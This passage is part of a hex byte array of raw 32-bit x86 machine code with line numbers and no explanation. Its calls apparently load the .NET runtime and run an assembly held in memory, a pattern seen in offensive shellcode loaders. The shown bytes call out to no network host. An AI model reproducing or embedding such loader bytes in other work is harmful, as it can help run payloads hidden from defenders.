0x00, 0x00, 0xeb, 406 | 0x03, 0x8b, 0x45, 0xe4, 0x8d, 0x65, 0xf4, 0x5b, 0x5e, 0x5f, 0x5d, 0xc3, 407 | 0x55, 0x89, 0xe5, 0x56, 0x53, 0x81, 0xec, 0x50, 0x02, 0x00, 0x00, 0xc7, 408 | 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xec, 0x00, 0x00, 0x00, 409 | 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x85, 0xc0, 410 | 0x0f, 0x84, 0x22, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0xb8, 411 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0x10, 0x8b, 0x4d, 0x08, 0x8d, 0x99, 0x24, 412 | 0x06, 0x00, 0x00, 0x8b, 0x4d, 0x08, 0x81, 0xc1, 0x14, 0x06, 0x00, 0x00, 413 | 0x89, 0x44, 0x24, 0x08, 0x89, 0x5c, 0x24, 0x04, 0x89, 0x0c, 0x24, 0xff, 414 | 0xd2, 0x83, 0xec, 0x0c, 0x89, 0x45, 0xf4, 0x83, 0x7d, 0xf4, 0x00, 0x0f, 415 | 0x88, 0xde, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8d, 0x50, 0x0c, 0x8d, 416 | 0x85, 0xd4, 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 0x08, 0x89, 0x54, 0x24, 417 | 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x78, 0xf6, 0xff, 0xff, 418 | 0x8b, 0x45, 0x10, 0x8b, 0x00, 0x8b, 0x00, 0x8b, 0x48, 0x0c, 0x8b, 0x45, 419 | 0x10, 0x8d, 0x58, 0x04, 0x8b, 0x45, 0x08, 0x8d, 0x90, 0x34, 0x06, 0x00, 420 | 0x00, 0x8b, 0x45, 0x10, 0x8b, 0x00, 0x89, 0x5c, 0x24, 0x0c, 0x89, 0x54, 421 | 0x24, 0x08, 0x8d, 0x95, 0xd4, 0xfd, 0xff, 0xff, 0x89, 0x54, 0x24, 0x04, 422 | 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 0x10, 0x89, 0x45, 0xf4, 0x83, 423 | 0x7d, 0xf4, 0x00, 0x78, 0x72, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x04, 0x8b, 424 | 0x00, 0x8b, 0x48, 0x28, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x04, 0x8d, 0x55, 425 | 0xd4, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 426 | 0x08, 0x89, 0x45, 0xf4, 0x83, 0x7d, 0xf4, 0x00, 0x78, 0x5e, 0x8b, 0x45, 427 | 0xd4, 0x85, 0xc0, 0x74, 0x57, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x04, 0x8b, 428 | 0x00, 0x8b, 0x50, 0x24, 0x8b, 0x45, 0x10, 0x8d, 0x70, 0x08, 0x8b, 0x45, 429 | 0x08, 0x8d, 0x98, 0x54, 0x06, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8d, 0x88, 430 | 0x44, 0x06, 0x00, 0x00, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x04, 0x89, 0x74, 431 | 0x24, 0x0c, 0x89, 0x5c, 0x24, 0x08, 0x89, 0x4c, 0x24, 0x04, 0x89, 0x04, 432 | 0x24, 0xff, 0xd2, 0x83, 0xec, 0x10, 0x89, 0x45, 0xf4, 0xeb, 0x15, 0x8b, 433 | 0x45, 0x10, 0xc7, 0x40, 0x04, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x09, 0x8b, 434 | 0x45, 0x10, 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0x7d, 0xf4, 0x00, 435 | 0x79, 0x44, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0xb4, 0x00, 0x00, 0x00, 0x8b, 436 | 0x55, 0x10, 0x8d, 0x5a, 0x08, 0x8b, 0x55, 0x08, 0x8d, 0x8a, 0x54, 0x06, 437 | 0x00, 0x00, 0x8b, 0x55, 0x08, 0x81, 0xc2, 0x44, 0x06, 0x00, 0x00, 0x89, 438 | 0x5c, 0x24, 0x10, 0x89, 0x4c, 0x24, 0x0c, 0x89, 0x54, 0x24, 0x08, 0xc7, 439 | 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x04, 0x24, 0x00, 0x00, 440 | 0x00, 0x00, 0xff, 0xd0, 0x83, 0xec, 0x14, 0x89, 0x45, 0xf4, 0x83, 0x7d, 441 | 0xf4, 0x00, 0x79, 0x14, 0x8b, 0x45, 0x10, 0xc7, 0x40, 0x08, 0x00, 0x00, 442 | 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x0f, 0x02, 0x00, 0x00, 443 | 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x08, 0x8b, 0x00, 0x8b, 0x50, 0x28, 0x8b, 444 | 0x45, 0x10, 0x8b, 0x40, 0x08, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 445 | 0x04, 0x89, 0x45, 0xf4, 0x83, 0x7d, 0xf4, 0x00, 0x0f, 0x88, 0xe6, 0x01, 446 | 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8d, 0x90, 0x0c, 0x01, 0x00, 0x00, 0x8d, 447 | 0x85, 0xd4, 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 0x08, 0x89, 0x54, 0x24, 448 | 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x04, 0xf5, 0xff, 0xff, 449 | 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x84, 0x00, 0x00, 0x00, 0x8d, 0x85, 0xd4, 450 | 0xfd, 0xff, 0xff, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x89, 451 | 0x45, 0xe8, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x08, 0x8b, 0x00, 0x8b, 0x48, 452 | 0x30, 0x8b, 0x45, 0x10, 0x8d, 0x50, 0x0c, 0x8b, 0x45, 0x10, 0x8b, 0x40, 453 | 0x08, 0x89, 0x54, 0x24, 0x0c, 0xc7, 0x44, 0x24, 0x08, 0x00, 0x00, 0x00, 454 | 0x00, 0x8b, 0x55, 0xe8, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 0x24, 0xff, 455 | 0xd1, 0x83, 0xec, 0x10, 0x89, 0x45, 0xf4, 0x8b, 0x45, 0x08, 0x8b, 0x90, 456 | 0x88, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe8, 0x89, 0x04, 0x24, 0xff, 0xd2, 457 | 0x83, 0xec, 0x04, 0x83, 0x7d, 0xf4, 0x00, 0x0f, 0x88, 0x57, 0x01, 0x00, 458 | 0x00, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x0c, 0x8b, 0x00, 0x8b, 0x10, 0x8b, 459 | 0x45, 0x10, 0x8d, 0x58, 0x10, 0x8b, 0x45, 0x08, 0x8d, 0x88, 0x64, 0x06, 460 | 0x00, 0x00, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x0c, 0x89, 0x5c, 0x24, 0x08, 461 | 0x89, 0x4c, 0x24, 0x04, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x0c, 462 | 0x89, 0x45, 0xf4, 0x83, 0x7d, 0xf4, 0x00, 0x0f, 0x88, 0x1b, 0x01, 0x00, 463 | 0x00, 0xc7, 0x45, 0xdc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8b, 464 | 0x80, 0x24, 0x05, 0x00, 0x00, 0x89, 0x45, 0xd8, 0x8b, 0x45, 0x08, 0x8b, 465 | 0x50, 0x6c, 0x8d, 0x45, 0xd8, 0x89, 0x44, 0x24, 0x08, 0xc7, 0x44, 0x24, 466 | 0x04, 0x01, 0x00, 0x00, 0x00, 0xc7, 0x04, 0x24, 0x11, 0x00, 0x00, 0x00, 467 | 0xff, 0xd2, 0x83, 0xec, 0x0c, 0x89, 0x45, 0xe4, 0x83, 0x7d, 0xe4, 0x00, 468 | 0x0f, 0x84, 0xda, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xf0, 0x00, 0x00, 0x00, 469 | 0x00, 0x8b, 0x45, 0xe4, 0x8b, 0x40, 0x0c, 0x89, 0x45, 0xe0, 0xeb, 0x1e, 470 | 0x8b, 0x55, 0xe0, 0x8b, 0x45, 0xf0, 0x01, 0xc2, 0x8b, 0x4d, 0x0c, 0x8b, 471 | 0x45, 0xf0, 0x01, 0xc8, 0x05, 0x28, 0x05, 0x00, 0x00, 0x0f, 0xb6, 0x00, 472 | 0x88, 0x02, 0x83, 0x45, 0xf0, 0x01, 0x8b, 0x45, 0x0c, 0x8b, 0x80, 0x24, 473 | 0x05, 0x00, 0x00, 0x3b, 0x45, 0xf0, 0x77, 0xd4, 0x8b, 0x45, 0x10, 0x8b, 474 | 0x40, 0x10, 0x8b, 0x00, 0x8b, 0x88, 0xb4, 0x00, 0x00, 0x00, 0x8b, 0x45, 475 | 0x10, 0x8d, 0x50, 0x14, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x10, 0x89, 0x54, 476 | 0x24, 0x08, 0x8b, 0x55, 0xe4, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 0x24, 477 | 0xff, 0xd1, 0x83, 0xec, 0x0c, 0x89, 0x45, 0xf4, 0x83, 0x7d, 0xf4, 0x00, 478 | 0x0f, 0x94, 0xc0, 0x0f, 0xb6, 0xc0, 0x89, 0x45, 0xec, 0xc7, 0x45, 0xf0, 479 | 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe4, 0x8b, 0x40, 0x0c, 0x89, 0x45, 480 | 0xe0, 0xeb, 0x2e, 0x8b, 0x55, 0xe0, 0x8b, 0x45, 0xf0, 0x01, 0xc2, 0x8b, 481 | 0x4d, 0x0c, 0x8b, 0x45, 0xf0, 0x01, 0xc8, 0x05, 0x28, 0x05, 0x00, 0x00, 482 | 0xc6, 0x00, 0x00, 0x8b, 0x4d, 0x0c, 0x8b, 0x45, 0xf0, 0x01, 0xc8, 0x05, 483 | 0x28, 0x05, 0x00, 0x00, 0x0f, 0xb6, 0x00, 0x88, 0x02, 0x83, 0x45, 0xf0, 484 | 0x01, 0x8b, 0x45, 0x0c, 0x8b, 0x80, 0x24, 0x05, 0x00, 0x00, 0x3b, 0x45, 485 | 0xf0, 0x77, 0xc4, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x78, 0x8b, 0x45, 0xe4, 486 | 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0xec, 0x8d, 487 | 0x65, 0xf8, 0x5b, 0x5e, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x53, 0x81, 0xec, 488 | 0xc4, 0x02, 0x00, 0x00, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0xc7, 489 | 0x45, 0xdc, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x45, 0x98, 0x00, 0x00, 0x00, 490 | 0x00, 0xc7, 0x45, 0x9c, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xa0, 0x00, 491 | 0x00, 0x00, 0x00, 0xc7, 0x45, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x66, 0xc7, 492 | 0x45, 0x82, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8b, 0x00, 0x83, 0xf8, 0x02, 493 | 0x0f, 0x85, 0xf4, 0x02, 0x00, 0x00, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x14, 494 | 0x8b, 0x00, 0x8b, 0x50, 0x40, 0x8b, 0x45, 0x10, 0x8d, 0x48, 0x1c, 0x8b, 495 | 0x45, 0x10, 0x8b, 0x40, 0x14, 0x89, 0x4c, 0x24, 0x04, 0x89, 0x04, 0x24, 496 | 0xff, 0xd2, 0x83, 0xec, 0x08, 0x89, 0x45, 0xf0, 0x83, 0x7d, 0xf0, 0x00, 497 | 0x0f, 0x88, 0xb5, 0x02, 0x00, 0x00, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x1c, 498 | 0x8b, 0x00, 0x8b, 0x48, 0x48, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x1c, 0x8d, 499 | 0x55, 0xdc, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 500 | 0xec, 0x08, 0x89, 0x45, 0xf0, 0x83, 0x7d, 0xf0, 0x00, 0x0f, 0x88, 0x20, 501 | 0x05, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x48, 0x7c, 0x8b, 0x45, 0xdc, 502 | 0x8d, 0x95, 0x78, 0xff, 0xff, 0xff, 0x89, 0x54, 0x24, 0x08, 0xc7, 0x44, 503 | 0x24, 0x04, 0x01, 0x00, 0x00, 0x00, 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 504 | 0xec, 0x0c, 0x89, 0x45, 0xf0, 0x8b, 0x45, 0x08, 0x8b, 0x88, 0x80, 0x00, 505 | 0x00, 0x00, 0x8b, 0x45, 0xdc, 0x8d, 0x95, 0x7c, 0xff, 0xff, 0xff, 0x89, 506 | 0x54, 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x01, 0x00, 0x00, 0x00, 0x89, 507 | 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 0x0c, 0x89, 0x45, 0xf0, 0x8b, 0x95, 508 | 0x7c, 0xff, 0xff, 0xff, 0x8b, 0x85, 0x78, 0xff, 0xff, 0xff, 0x29, 0xc2, 509 | 0x89, 0xd0, 0x83, 0xc0, 0x01, 0x89, 0x45, 0xe0, 0x83, 0x7d, 0xe0, 0x00, 510 | 0x0f, 0x84, 0x92, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x70, 511 | 0xc7, 0x44, 0x24, 0x08, 0x01, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 512 | 0x00, 0x00, 0x00, 0x00, 0xc7, 0x04, 0x24, 0x0c, 0x00, 0x00, 0x00, 0xff, 513 | 0xd0, 0x83, 0xec, 0x0c, 0x89, 0x45, 0xf4, 0x8b, 0x45, 0x0c, 0x0f, 0xb6, 514 | 0x80, 0x0c, 0x04, 0x00, 0x00, 0x84, 0xc0, 0x0f, 0x84, 0xd1, 0x00, 0x00, 515 | 0x00, 0x8b, 0x45, 0x0c, 0x8d, 0x90, 0x0c, 0x04, 0x00, 0x00, 0x8d, 0x85, 516 | 0x76, 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 0x08, 0x89, 0x54, 0x24, 0x04, 517 | 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0xc9, 0xf1, 0xff, 0xff, 0x8b, 518 | 0x45, 0x08, 0x8b, 0x50, 0x68, 0x8d, 0x85, 0x70, 0xfd, 0xff, 0xff, 0x89, 519 | 0x44, 0x24, 0x04, 0x8d, 0x85, 0x76, 0xfd, 0xff, 0xff, 0x89, 0x04, 0x24, 520 | 0xff, 0xd2, 0x83, 0xec, 0x08, 0x89, 0x45, 0xe4, 0x66, 0xc7, 0x45, 0xa8, 521 | 0x08, 0x20, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x70, 0x8b, 0x95, 0x70, 0xfd, 522 | 0xff, 0xff, 0x89, 0x54, 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 523 | 0x00, 0x00, 0xc7, 0x04, 0x24, 0x08, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x83, 524 | 0xec, 0x0c, 0x89, 0x45, 0xb0, 0xc7, 0x45, 0x84, 0x00, 0x00, 0x00, 0x00, 525 | 0xeb, 0x49, 0x8b, 0x45, 0x08, 0x8b, 0x58, 0x74, 0x8b, 0x45, 0x08, 0x8b, 526 | 0x90, 0x84, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x84, 0x8d, 0x0c, 0x85, 0x00, 527 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe4, 0x01, 0xc8, 0x8b, 0x00, 0x89, 0x04, 528 | 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x89, 0xc2, 0x8b, 0x45, 0xb0, 0x89, 529 | 0x54, 0x24, 0x08, 0x8d, 0x55, 0x84, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 530 | 0x24, 0xff, 0xd3, 0x83, 0xec, 0x0c, 0x8b, 0x45, 0x84, 0x83, 0xc0, 0x01, 531 | 0x89, 0x45, 0x84, 0x8b, 0x45, 0x84, 0x8b, 0x95, 0x70, 0xfd, 0xff, 0xff, 532 | 0x39, 0xd0, 0x72, 0xaa, 0xeb, 0x64, 0x66, 0xc7, 0x45, 0xa8, 0x08, 0x20, 533 | 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x70, 0xc7, 0x44, 0x24, 0x08, 0x01, 0x00, 534 | 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x04, 535 | 0x24, 0x08, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x83, 0xec, 0x0c, 0x89, 0x45, 536 | 0xb0, 0xc7, 0x45, 0x84, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 537 | 0x58, 0x74, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x84, 0x00, 0x00, 0x00, 0x8d, 538 | 0x45, 0x82, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x89, 0xc2, 539 | 0x8b, 0x45, 0xb0, 0x89, 0x54, 0x24, 0x08, 0x8d, 0x55, 0x84, 0x89, 0x54, 540 | 0x24, 0x04, 0x89, 0x04, 0x24, 0xff, 0xd3, 0x83, 0xec, 0x0c, 0xc7, 0x45, 541 | 0x84, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x74, 0x8d, 542 | 0x45, 0xa8, 0x89, 0x44, 0x24, 0x08, 0x8d, 0x45, 0x84, 0x89, 0x44, 0x24, 543 | 0x04, 0x8b, 0x45, 0xf4, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x0c, 544 | 0x66, 0xc7, 0x45, 0x98, 0x01, 0x00, 0xc7, 0x45, 0xa0, 0x00, 0x00, 0x00, 545 | 0x00, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x1c, 0x8b, 0x00, 0x8b, 0x88, 0x94, 546 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x1c, 0x8d, 0x55, 0x88, 547 | 0x89, 0x54, 0x24, 0x18, 0x8b, 0x55, 0xf4, 0x89, 0x54, 0x24, 0x14, 0x8b, 548 | 0x55, 0x98, 0x89, 0x54, 0x24, 0x04, 0x8b, 0x55, 0x9c, 0x89, 0x54, 0x24, 549 | 0x08, 0x8b, 0x55, 0xa0, 0x89, 0x54, 0x24, 0x0c, 0x8b, 0x55, 0xa4, 0x89, 550 | 0x54, 0x24, 0x10, 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 0x1c, 0x89, 551 | 0x45, 0xf0, 0x83, 0x7d, 0xf4, 0x00, 0x0f, 0x84, 0xbf, 0x02, 0x00, 0x00, 552 | 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x78, 0x8b, 0x45, 0xb0, 0x89, 0x04, 0x24, 553 | 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x78, 0x8b, 554 | 0x45, 0xf4, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0xe9, 0x98, 555 | 0x02, 0x00, 0x00, 0x8b, 0x45, 0x10, 0xc7, 0x40, 0x1c, 0x00, 0x00, 0x00, 556 | 0x00, 0xe9, 0x89, 0x02, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8d, 0x90, 0x0c, 557 | 0x02, 0x00, 0x00, 0x8d, 0x85, 0x76, 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 558 | 0x08, 0x89, 0x54, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 559 | 0xd8, 0xef, 0xff, 0xff, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x84, 0x00, 0x00, 560 | 0x00, 0x8d, 0x85, 0x76, 0xfd, 0xff, 0xff, 0x89, 0x04, 0x24, 0xff, 0xd2, 561 | 0x83, 0xec, 0x04, 0x89, 0x45, 0xec, 0x83, 0x7d, 0xec, 0x00, 0x75, 0x0a, 562 | 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x42, 0x02, 0x00, 0x00, 0x8b, 0x45, 563 | 0x0c, 0x8d, 0x90, 0x0c, 0x03, 0x00, 0x00, 0x8d, 0x85, 0x76, 0xfd, 0xff, 564 | 0xff, 0x89, 0x44, 0x24, 0x08, 0x89, 0x54, 0x24, 0x04, 0x8b, 0x45, 0x08, 565 | 0x89, 0x04, 0x24, 0xe8, 0x8c, 0xef, 0xff, 0xff, 0x8b, 0x45, 0x08, 0x8b, 566 | 0x90, 0x84, 0x00, 0x00, 0x00, 0x8d, 0x85, 0x76, 0xfd, 0xff, 0xff, 0x89, 567 | 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x89, 0x45, 0xe8, 0x83, 0x7d, 568 | 0xe8, 0x00, 0x0f, 0x84, 0xe3, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x10, 0x8b, 569 | 0x40, 0x14, 0x8b, 0x00, 0x8b, 0x48, 0x44, 0x8b, 0x45, 0x10, 0x8d, 0x50, 570 | 0x18, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x14, 0x89, 0x54, 0x24, 0x08, 0x8b, 571 | 0x55, 0xec, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 572 | 0xec, 0x0c, 0x89, 0x45, 0xf0, 0x83, 0x7d, 0xf0, 0x00, 0x0f, 0x88, 0x98, 573 | 0x01, 0x00, 0x00, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 574 | 0x0c, 0x0f, 0xb6, 0x80, 0x0c, 0x04, 0x00, 0x00, 0x84, 0xc0, 0x0f, 0x84, 575 | 0x02, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8d, 0x90, 0x0c, 0x04, 0x00, 576 | 0x00, 0x8d, 0x85, 0x76, 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 0x08, 0x89, 577 | 0x54, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0xf6, 0xee, 578 | 0xff, 0xff, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x68, 0x8d, 0x85, 0x70, 0xfd, 579 | 0xff, 0xff, 0x89, 0x44, 0x24, 0x04, 0x8d, 0x85, 0x76, 0xfd, 0xff, 0xff, 580 | 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x08, 0x89, 0x45, 0xe4, 0x8b, 581 | 0x45, 0x08, 0x8b, 0x40, 0x70, 0x8b, 0x95, 0x70, 0xfd, 0xff, 0xff, 0x89, 582 | 0x54, 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0xc7, 583 | 0x04, 0x24, 0x0c, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x83, 0xec, 0x0c, 0x89, 584 | 0x45, 0xf4, 0x83, 0x7d, 0xf4, 0x00, 0x0f, 0x84, 0x8e, 0x00, 0x00, 0x00, 585 | 0xc7, 0x45, 0x84, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x74, 0x8b, 0x45, 0x08, 586 | 0x8b, 0x90, 0x84, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x84, 0x8d, 0x0c, 0x85, 587 | 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe4, 0x01, 0xc8, 0x8b, 0x00, 0x89, 588 | 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x89, 0x45, 0xd0, 0x66, 0xc7, 589 | 0x45, 0xc8, 0x08, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x74, 0x8d, 0x45, 590 | 0xc8, 0x89, 0x44, 0x24, 0x08, 0x8d, 0x45, 0x84, 0x89, 0x44, 0x24, 0x04, 591 | 0x8b, 0x45, 0xf4, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x0c, 0x89, 592 | 0x45, 0xf0, 0x83, 0x7d, 0xf0, 0x00, 0x79, 0x18, 0x8b, 0x45, 0x08, 0x8b, 593 | 0x50, 0x78, 0x8b, 0x45, 0xf4, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 594 | 0x04, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x84, 0x83, 595 | 0xc0, 0x01, 0x89, 0x45, 0x84, 0x8b, 0x45, 0x84, 0x8b, 0x95, 0x70, 0xfd, 596 | 0xff, 0xff, 0x39, 0xd0, 0x0f, 0x82, 0x7b, 0xff, 0xff, 0xff, 0x83, 0x7d, 597 | 0xf0, 0x00, 0x78, 0x77, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x18, 0x8b, 0x00, 598 | 0x8b, 0x88, 0xe4, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x10, 0x8b, 0x40, 0x18, 599 | 0x8d, 0x55, 0xb8, 0x89, 0x54, 0x24, 0x24, 0x8b, 0x55, 0xf4, 0x89, 0x54, 600 | 0x24, 0x20, 0x8b, 0x55, 0x98, 0x89, 0x54, 0x24, 0x10, 0x8b, 0x55, 0x9c, 601 | 0x89, 0x54, 0x24, 0x14, 0x8b, 0x55, 0xa0, 0x89, 0x54, 0x24, 0x18, 0x8b, 602 | 0x55, 0xa4, 0x89, 0x54, 0x24, 0x1c, 0xc7, 0x44, 0x24, 0x0c, 0x00, 0x00, 603 | 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x18, 0x01, 0x00, 0x00, 0x8b, 0x55, 604 | 0xe8, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 605 | 0x28, 0x89, 0x45, 0xf0, 0x83, 0x7d, 0xf4, 0x00, 0x74, 0x11, 0x8b, 0x45, 606 | 0x08, 0x8b, 0x50, 0x78, 0x8b, 0x45, 0xf4, 0x89, 0x04, 0x24, 0xff, 0xd2, 607 | 0x83, 0xec, 0x04, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x88, 0x00, 0x00, 0x00, 608 | 0x8b, 0x45, 0xe8, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 609 | 0x45, 0x08, 0x8b, 0x90, 0x88, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xec, 0x89, 610 | 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0xb8, 0x01, 0x00, 0x00, 0x00, 611 | 0x8b, 0x5d, 0xfc, 0xc9, 0xc3, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x18, 0x8b, 612 | 0x45, 0x0c, 0x8b, 0x40, 0x18, 0x85, 0xc0, 0x74, 0x23, 0x8b, 0x45, 0x0c, 613 | 0x8b, 0x40, 0x18, 0x8b, 0x00, 0x8b, 0x50, 0x08, 0x8b, 0x45, 0x0c, 0x8b, 614 | 0x40, 0x18, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 615 | 0x0c, 0xc7, 0x40, 0x18, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8b, 616 | 0x40, 0x1c, 0x85, 0xc0, 0x74, 0x23, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x1c, 617 | 0x8b, 0x00, 0x8b, 0x50, 0x08, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x1c, 0x89, 618 | 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0x0c, 0xc7, 0x40, 619 | 0x1c, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x14, 0x85, 620 | 0xc0, 0x74, 0x23, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x14, 0x8b, 0x00, 0x8b, 621 | 0x50, 0x08, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x14, 0x89, 0x04, 0x24, 0xff, 622 | 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0x0c, 0xc7, 0x40, 0x14, 0x00, 0x00, 623 | 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x10, 0x85, 0xc0, 0x74, 0x23, 624 | 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x10, 0x8b, 0x00, 0x8b, 0x50, 0x08, 0x8b, 625 | 0x45, 0x0c, 0x8b, 0x40, 0x10, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 626 | 0x04, 0x8b, 0x45, 0x0c, 0xc7, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x8b, 627 | 0x45, 0x0c, 0x8b, 0x40, 0x0c, 